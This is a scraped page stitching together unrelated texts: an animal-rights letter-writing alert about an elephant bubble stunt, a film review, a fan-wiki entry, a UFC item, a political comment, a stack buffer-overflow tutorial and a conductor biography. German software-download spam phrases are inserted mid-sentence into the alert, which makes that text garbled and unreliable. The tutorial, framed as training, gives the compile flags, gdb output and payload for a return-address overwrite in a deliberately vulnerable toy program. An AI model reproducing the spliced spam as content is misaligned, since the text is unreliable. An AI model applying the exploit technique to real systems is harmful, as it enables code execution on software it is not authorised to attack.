From: In Defense of Animals – takeaction [at] idausa.org
Date: Fri, Mar 14, 2008 at 3:56 PM
Subject: Writing Alert: "Elephant In A Bubble" Isn't Science, It's A Sideshow!
Tell the Los Angeles Times: "Elephant In A Bubble" Isn't Science, It's A Sideshow!
On Tuesday, March 18th, the Discovery Science Center in Santa Ana, California will feature a sensationalist stunt in which a "bubble artist" will attempt to set a record by enclosing an Asian elephant — a member of a critically endangered species — inside a giant soapy bubble. The elephant to be used in this gimmick is named Tai, and is rented out by Have Trunk Will Travel, a business that employs coercive methods of training that rely on negative reinforcement, physical punishment, and use of the bullhook skype download kostenlos für windows 10.
IDA has called and written to the Discovery Science Center explaining why using an abused member of an endangered species in a publicity gimmick is wrong, but they chose to ignore us. Then an essay essentially agreeing with our position appeared on the Opinion page of the Los Angeles Times (see below or read online).
Please send a letter to the editor of the Los Angeles Times at letters [at] latimes.com. Letters should be brief (300 words at most) and written in your own words media reports that can be downloaded from the internet. Do not send attachments, and remember to include your full name, address, and phone number (for verification purposes — street names and phone numbers will not be published). For complete writing guidelines, call (800) LATIMES, Ext. 74511. If your letter is published, let us know.
Here are some talking points that you can use in your letter:
* This is not education or science. It is simply a publicity stunt.
* Science is about understanding and appreciating nature. This shows a fundamental misunderstanding and lack of regard for an intelligent, complex and endangered animal outlook 2007 herunterladen kostenlos.
* It's cruelty in the worst possible form in that it says it's not only acceptable, it's an art form.
* It's shocking that a science and education center for children would participate in this type of exploitive side show.
* It's wrong to exploit an elephant for a publicity stunt.
* The elephant is totally unnecessary to this bubble demonstration. If size of the bubble is the point, then why not encase a large truck in a bubble?
* This is more like a circus side show than an educational program sponsored by a Science and Education center.
* This sends the wrong message about nature and endangered species downloaden website.
* This is an elephant who was taken as a youngster from her family in Thailand, beaten into submission, and trained and managed through coercive techniques that rely on physical punishment and force. It's cruel to truck her into this sideshow, coerce her with the bullhook, and then truck her out when the spectacle is over. This is not the kind of life an elephant is meant to lead.
Elephant abuse in Santa Ana?
Using Tai the Asian elephant as a kiddie show prop isn't appropriate herunterladen.
March 13, 2008
Tai the asian elephant has probably been through more uncomfortable situations than being surrounded by a soap bubble for 15 seconds: For instance, the time she was painted to look like wallpaper and posed in a warehouse as part of an art installation.
Thus, there's a certain level of hyperbole to the cries of "Abuse!" that have greeted plans for the Discovery Science Center in Santa Ana to feature Tai in a demonstration that will prove that soap bubbles can be made big enough to surround a very large object — in this case, an elephant.
In her work for a Perris operation called Have Trunk Will Travel Inc., 39-year-old Tai has experienced only slightly fewer incarnations than Barbie schriften word. There's TV Starlet Tai, Corporate Party Tai, Wedding Tai, maybe even Bar Mitzvah Tai (some of her hats closely resemble yarmulkes). Like those stunts, and like circuses and many a zoo enclosure, the bubble gig is not the right way to act toward elephants, and we'd like to see it canceled. But it's low on the pachyderm mistreatment list.
The cries of outrage are a reflection of the laudable respect that we as a society have for elephants, renowned for their intelligence and complex social lives. In recent years, we've learned more about the needs of wild animals and have become less likely to view them as existing for our own use and enjoyment whatsapp mitlesen kostenlos download. Tai was born in Asia, but her owners, who acquired her when she was 9, said they do not know whether she was born wild or in captivity. In summer fair season, she spends what sounds like an uncomfortable few days a week on display, possible grounds for animal rights complaints. In winter, she spends most of her time with other elephants at her 10-acre ranch, where she might be far happier than her counterparts at zoos.
Either way, it's unlikely that Tai's idea of a fun day is lumbering into a truck for the long freeway trip to a Santa Ana bubble demonstration. What's most disturbing is that the Discovery Science Center, a hands-on museum for children, is behind this idea. It's educational, a spokesman said. But children can learn about giant bubbles by seeing them surround an animatronic dinosaur. Only a sadly outdated sort of education would impart the message that it's appropriate to use a magnificent endangered animal as a prop in a kiddie show.

Sketch has quite a few twists and turns but nothing new to offer. One can safely call it a run-of-the-mill crime story with a few emotionally demanding moments.
Vikram is probably one of the most dedicated actors who pushes himself to excruciating limits to play to perfection his characters in films. For a man who has done demanding roles in films like Sethu (1999), Anniyan (2005) and I (2015), playing Sketch must have been a cakewalk. For, Sketch is a film with a simple story.
The film, set in North Madras, has quite a few twists and turns but, to be honest, nothing new to offer. One can safely call it a run-of-the-mill crime story with a few emotionally demanding moments.
Durai (Arul Dass) is the right-hand man of Jain (Hareesh Peradi), a moneylender who seizes vehicles to get people to repay their debts. Jain has his business in the North Madras region, an area that is under the control of a gangster called Kumar.
After Durai loses a hand in an attack, he recommends his nephew Sketch (Vikram) to his position, much to the dismay of another gangster (RK Suresh) who was hoping to take his place as Jain's confidant.
Sketch has a close set of three friends who work with him. He takes pride in the fact that he can lift vehicles at will and get people to pay up.
As Sketch gloats about his ability to seize vehicles, Jain assigns him a challenging task. He says he will reward Sketch with a 10-sovereign gold chain if he can seize a vehicle of gangster Kumar, which is special to him.
Sketch does as told. But Kumar doesn't take to it kindly. He decides that everybody involved in lifting his vehicle must die.
The film has some exceptional songs. Thaman S has scored mellifluous music and it is a pity that the songs haven't got the kind of attention they deserved. Each song in the film deserves special mention.
Vikram, as expected, has no qualms turning into the character of Sketch. The man, despite ageing, still looks handsome and fit. He single-handedly carries the film on his shoulders.
Tamannaah Bhatia as Ammu is gorgeous. The actress is naturally so beautiful that she does not require make-up at all. Moreover, she seems to have mastered the art of emoting well and, by and large, her performance is flawless. The only place where there is a problem is in the songs where Bhatia is seen perfoming classical dances. In these portions, the make-up is excessive and her dancing, out of sorts.
Some parts of the romantic portions between Bhatia and Vikram are cute. Other artistes who have done a good job include Arul Dass, Sriman Reddy and Soori, who has a limited role in this film.
Sketch has a strong message but then it comes only in the last five minutes of the film, making one wonder if the message was added as an afterthought.
Vikram's mannerisms in the film remind you of his performances in earlier films. For instance, the manner in which he holds up his hand to indicate he has marked out someone to sketch reminds one of Vikram's performance in Gemini (2002), in which he would often say, 'O Podu' using both hands.
Then, in one action sequence, Vikram is seen running briefly, swinging on a pole and settling down comfortably on some stairs before giving a sound thrashing to the baddies. This reminds one of an action sequence in Saamy (2003) in which he runs from those who have been sent to kill him at the temple and then bashes them up.
The director Vijay Chandar seems to have tried to use everything that worked for Vikram in the past. On the whole, Sketch is certainly not Vikram's best film, but it isn't bad either.

The Prism Summer Festival is the second tournament of the Symphonia Selection in Pretty Rhythm Dear My Future. The festival gathers the famous Prism Teams, such as Prizmmy☆ and PURETTY to compete in Prism Shows. The prizes are the Symphonia Tops for the winning team and the Symphonia Dress Of The Awakening for the MVP.
There are three tournaments that take place in three states, which is:
Quarterfinals: The Kobe TournamentEdit
The location of the Kobe tournament is the Prism Race. The Prism Teams must use robots to race for the obstacles that have set along the route to the finishing line. After that, the Prism Teams must perform a Prism Show. Prizmmy☆ uses Serena's robot, the Serena DX (Deluxe) in the account of Pretty Top while Chae Kyoung bought a black robot in the account of Dear Princess. At the finishing line, they ended up as a tie.
Semifinals: The Yokohama TournamentEdit
The location of the Yokohama tournament is the Prism Passenger Ship. The Prism Teams must find the Prism Stones that are hidden in the ship. The team that receives the most Fan Calls while finding the Prism Stones wins. Prizmmy☆ had gone into the wrong rooms until they find only one Prism Stone, which is the Penguin Teacher T-shirt. In this tournament, it also proves that Jae Eun can smell the Prism Stones. As PURETTY went into one of the rooms, Jae Eun smells a Prism Stone, which is found on a chair.
Semifinals: The Nagoka Tournament Edit
The location of the Nagoka tournament is the Venus Odaiba. The Prism Teams must perform a Prism Show. Prizmmy☆ had won the Symphonia Tops while Hye In had won the Symphonia Dress Of The Awakening as MVP.

UFC heavyweight champion Stipe Miocic is seemingly having a great year. The fighter recently broke a stunning UFC record, has a super fight set to go down later his year and now Miocic recently experienced the gender reveal of his first born child.
Stipe Miocic put on a dominant performance over rising knockout artist Francis Ngannou back at UFC 220. Miocic earned a title breaking unanimous decision victory over the fighter.
Miocic now holds the record for the most consecutive UFC heavyweight title defenses with three. Since then, Miocic has locked in a super fight with UFC light heavyweight champion Daniel Cormier.
Cormier will be moving up in weight for the match up, as the two are set to throw down at UFC 226. The live pay-per-view event will take place for International Fight Week July 7 inside the T-Mobile Arena in Las Vegas, Nev.
Now Stipe Miocic has taken to the internet to share a video of himself and his wife experiencing the gender reveal of their first born child. Check it out in the video above.

The appropriate statistic for doing this is the ratio of debt to wealth.
The appropriate statistic for doing this is the ratio of debt to wealth.
I greatly value this kind of rational analysis designed to look at the data, learn from history, and propose action based on past experience with what worked and did not work. Although I don't follow the political debate in the media on these topics very closely, largely because it is too painful for me to watch, my impression is that rational analysis has very little to do with it.
Neil deGrasse Tyson, the astrophysist seen on PBS, gave one of the best explanations of this phenomenon that I've ever heard. I don't recall the exact numbers, but Tyson said that about half of the Senate and one-third of the House are lawyers by profession. Given our judicial system, lawyers are trained in debate - win the argument, defeat the opponent, show that you are "right." From my experience in our court system it's not so much about finding "the truth" as it is about winning. Translate this into politics and you get the same dynamic - adversarial debates not collaborative problem solving, a win-lose rather than a win-win mindset, and being "right" versus finding the best solution.
Tyson suggested that we need a more representative cross-section of professions in Congress rather than such a large percentage of lawyers. No matter how it is achieved, I think we need a shift in mindset and action toward intellectual conflict about public issues that seeks the best solution based on history and experience rather than adversarial debate that focuses on "winning."

It's for training purpose only so you can understand what you can do with hacking buffer over flow.
In this part 2, I will show you how to execute a hidden code in a program by manipulating the return address of a stack buffer.
It's a simple c program, compiled with gcc 4.6.1, debugged with gnu debugger 7.3 on Xubuntu 11.10 and with help of python 2.7.1 to create the exploit.
Type the code below and save to "buffer-hidden.c".
1 #include 2 hiddencode() 3 { 4 printf("The hidden codes is running........ \n"); 5 // put your codes here and // 6 // do what you want // 7 } 8 9 getinput() 10 { 11 char buffer[20]; 12 gets(buffer); 13 puts(buffer); 14 } 15 16 main() 17 { 18 getinput(); 19 return 0; 20 }
Compile it.
$ gcc -g -fno-stack-protector -mpreferred-stack-boundary=2 buffer-hidden.c -o buffer-hidden $
There are few options that I want to explain first.
–fno-stack-protector -> ability to overwrite stack frame return address
–mpreferred-stack-boundary=2 -> set stack pointer to 4 bytes boundary. Nothing to do with gdb.
–g -> produce debugger information
Without these options, it will be difficult to get the return address of a stack buffer.
Before, we start, if you see the source code above, hiddencode() function will never be executed. After program receive input from user (gets() function), it will keep in a buffer, then display it (puts(buffer)) in the screen.
Let's check with gnu debugger.
$ gdb buffer-hidden -silent
Reading symbols from /home/darklinux/buffer-hidden…done.
Change the default Assembly Language format from AT&T to Intel.
(gdb) set disassembly-flavor intel
(gdb) disassemble main Dump of assembler code for function main: 0x08048436 <+0>: push ebp 0x08048437 <+1>: mov ebp,esp 0x08048439 <+3>: call 0x8048418 0x0804843e <+8>: mov eax,0x0 0x08048443 <+13>: pop ebp 0x08048444 <+14>: ret End of assembler dump. (gdb) disassemble getinput Dump of assembler code for function getinput: 0x08048418 <+0>: push ebp 0x08048419 <+1>: mov ebp,esp 0x0804841b <+3>: sub esp,0x18 0x0804841e <+6>: lea eax,[ebp-0x14] 0x08048421 <+9>: mov DWORD PTR [esp],eax 0x08048424 <+12>: call 0x8048310 <gets@plt> 0x08048429 <+17>: lea eax,[ebp-0x14] 0x0804842c <+20>: mov DWORD PTR [esp],eax 0x0804842f <+23>: call 0x8048320 <puts@plt> 0x08048434 <+28>: leave 0x08048435 <+29>: ret End of assembler dump. (gdb)
So, how can we execute the hiddencode() function?
The only way is to smash the stack buffer with lot of data until crash and change the return address to address of hiddencode().
Let's do it.
First, list down the source code.
(gdb) list 1,20 1 #include 2 hiddencode() 3 { 4 printf("The hidden codes is running........ \n"); 5 // put your codes here and // 6 // do what you want // 7 } 8 9 getinput() 10 { 11 char buffer[20]; 12 gets(buffer); 13 puts(buffer); 14 } 15 16 main() 17 { 18 getinput(); 19 return 0; 20 }
Get the address of hiddencode() function.
(gdb) disassemble hiddencode Dump of assembler code for function hiddencode: 0x08048404 <+0>: push ebp 0x08048405 <+1>: mov ebp,esp 0x08048407 <+3>: sub esp,0x4 0x0804840a <+6>: mov DWORD PTR [esp],0x8048520 0x08048411 <+13>: call 0x8048320 <puts@plt> 0x08048416 <+18>: leave 0x08048417 <+19>: ret End of assembler dump. (gdb)
The hiddencode() function address is 0x08048404.
Go to background process by press Ctrl-Z.
(gdb) ^Z [1]+ Stopped gdb buffer-hidden -silent
Test over load with data until crash.
$ python -c 'print"A"*20' > attack.txt ; ./buffer-hidden < attack.txt AAAAAAAAAAAAAAAAAAAA $ python -c 'print"A"*21' > attack.txt ; ./buffer-hidden < attack.txt AAAAAAAAAAAAAAAAAAAAA $ python -c 'print"A"*22' > attack.txt ; ./buffer-hidden < attack.txt AAAAAAAAAAAAAAAAAAAAAA $ python -c 'print"A"*23' > attack.txt ; ./buffer-hidden < attack.txt AAAAAAAAAAAAAAAAAAAAAAA $ python -c 'print"A"*24' > attack.txt ; ./buffer-hidden < attack.txt AAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault After we know how many characters that we need to crash the program, go back to gdb again.
$ fg
gdb buffer-hidden -silent
No breakpoints or watchpoints.
Before we run the program in gnu debugger (gdb), we have to set the breaktime first. We will put the breaktime at puts() function. So, before, the program take out the data from the buffer, it will stop.
Set break point to 'puts' (before upload to screen).
(gdb) break puts Breakpoint 4 at 0x1913b0
Run the gdb with input from file attack.txt. We've tested already that the character number in attack.txt will crash the buffer.
(gdb) run < attack.txt The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/darklinux/buffer-hidden < attack.txt Breakpoint 4, 0x001913b0 in puts () from /lib/i386-linux-gnu/libc.so.6
Check the content of Stack Memory.
(gdb) x/20x $esp 0xbffff344: 0x08048434 0xbffff34c 0x41414141 0x41414141 0xbffff354: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff364: 0x08048400 0x00000000 0x0014a113 0x00000001 0xbffff374: 0xbffff404 0xbffff40c 0x0012eff4 0x0012f918 0xbffff384: 0x00000001 0x00000000 0x0011dbfb 0x0012fad0 (gdb)
For your info, \x41 is the ASCII number for 'A'.
0x08048400 is the return address.
We will replace the return address with hiddencode() function address which is 0x08048404.
Since I work with Intel microprocessor, the byte order of my memory is Little Endian. The order will start from LSB (lowest significant byte).
So, if the address is 0x08048404 then it should put as \x04\x84\x04\x08.
Let's try.
Just quit from gdb.
(gdb) quit
Put the memory address after the input characters.
$ python -c 'print"A"*24 + "\x04\x84\x04\x08"' > attack.txt
$ ./buffer-hidden < attack.txt AAAAAAAAAAAAAAAAAAAAAAAA? ? The hidden codes is running........ Segmentation fault $
Although, the program is segmentation fault, but we can execute the hidden code.

An Italian with a strong affinity for the German repertoire. A "natural melodist" (Der Tagesspiegel), who excels at transferring the intricacy of his stylistically informed interpretations to the big orchestral apparatus. More, a true artist merging sheer creative force with a highly collaborative performance style. Antonello Manacorda's versatiliy as a conductor is rooted in the richness of his musical and cultural background: born into an French-Italian family in Turin, educated in Amsterdam and a longtime Berlin resident, Manacorda was a founding member and longstanding concert master of the Claudio Abbado – initiated Mahler Chamber Ochestra before studying under legendary Finnish conductor Jorma Panula. Today Antonello Manacorda is performing at both the world's most renowned opera houses as well as at the helm of globally renowned symphony orchestras. At the heart of his work is the Kammerakademie Potsdam – an ensemble he has shaped as its Artistic Director since 2010 and produced a series of award-winning recordings with since.
In the 2019/20 season Antonello Manacorda makes his debuts at the Metropolitan Opera New York ("Le nozze di Figaro") and at the Opéra national de Paris ("Così fan tutte"). He has been re-invited to the Bavarian State Opera ("Alceste") and to the Théâtre de la Monnaie in Brussels with a new production of the three Da-Ponte operas.
Highlights of his symphonic calendar in the 2019/20 season include guest appearances with the Helsinki Philharmonic Orchestra, the Danish National Symphony Orchestra, the SWR Symphony Orchestra and the Orchestra dell'Accademia Nazionale di Santa Cecilia. With the Kammerakademie Potsdam Antonello Manacorda presents the late Mozart symphonies at the Pierre Boulez Saal in Berlin. Last season he performed with the ensemble a cycle of the four symphonies by Johannes Brahms in Potsdam. Already in February 2014, Antonello Manacorda conducted a critically acclaimed cycle of Beethoven's symphonies in Potsdam on four consecutive days. On tour with the Kammerakademie Potsdam he will perform amongst others at the Alte Oper Frankfurt, the Philharmonie Berlin and the Elbphilharmonie in the 2019/20 season.
Last season Antonello Manacorda conducted new productions at Amsterdam's De Nationale Opera ("Die Zauberflöte"), at the Théâtre de la Monnaie in Brussels ("Die Zauberflöte") and at the Bavarian State Opera ("Alceste") and debuted with "La Traviata" at the Royal Opera House Covent Garden in London. Guest appearances have taken him to the Rotterdam Philharmonic Orchestra, the Rundfunk-Sinfonieorchester Berlin, the NDR Elbphilharmonie Orchestra and the Vienna Symphony Orchestra. Antonello Manacorda retired from his position as chief conductor of the Dutch Het Gelders Orchestra in the 2018/19 season.
With the Kammerakademie Potsdam, Antonello Manacorda has recorded both a Mendelssohn cycle and a Schubert cycle for Sony, that have received highest praise by the press. The recording was awarded the 2015 ECHO Klassik in the category "Best Orchestra of the Year". With the Het Gelders Orkest Antonello Manacorda has recorded for Challenge Records pieces by Ravel and Debussy as well as pieces by Berlioz and Mahler with the Swedish soprano Lisa Larsson.
